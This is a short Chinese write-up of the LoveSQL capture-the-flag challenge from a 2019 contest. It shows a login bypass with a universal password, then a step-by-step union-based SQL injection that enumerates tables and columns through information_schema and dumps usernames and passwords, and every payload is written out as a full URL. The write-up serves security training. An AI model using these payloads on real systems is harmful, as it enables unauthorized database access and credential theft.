[极客大挑战 2019]LoveSQL
首先打开这个界面,发现画面和上次做的[极客大挑战】easySQL类似。所以我们用万能密码试一下。
usename=admin;password=1’or’1’=‘1
发现用户错误,然后该换admin’#试一下,登录成功
接下来我们用SQL注入来做
1.首先查询字段数
check.php?username=admin’ order by 4%23&password=1%27or%271%271%3D%271
(因为url没有自动对#进行编码,所以我们要手动输入#的url编码%23,后面的password随便输)
当查询到4的时候报错,说明字段数是3
2.查询注入点
check.php?username=1’ union select 1,2,3%23&password=1%27or%271%271%3D%271
查询注入点是3
3.查询数据库名
check.php?username=1’ union select 1,2,database()%23&password=1%27or%271%271%3D%271
4.查询表名
check.php?username=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’%23&password=1%27or%271%271%3D%271
或者写为table_schema=database()
得到两个表名,随便跑一个,猜测应该是后面那个
5.查询表中的字段名
check.php?username=1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’%23&password=1%27or%271%271%3D%271
得到三个字段
6.爆出所有字段的数据
check.php?username=1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1%27or%271%271%3D%271
得出flag{011620cf-fe6f-4d83-b690-f93f13120197}
本题思想:根据SQL语言一步一步进入内层找到flag
(查询字段数——查询注入点——查询数据库名——进入数据库,查询表名——查询表的字段数——爆出所有字段的数据)
需掌握SQL语言,本题还涉及到url编码(#的编码是%23)
我只是个小白,写给自己看的,哪里写的不好,还望各位大佬指点。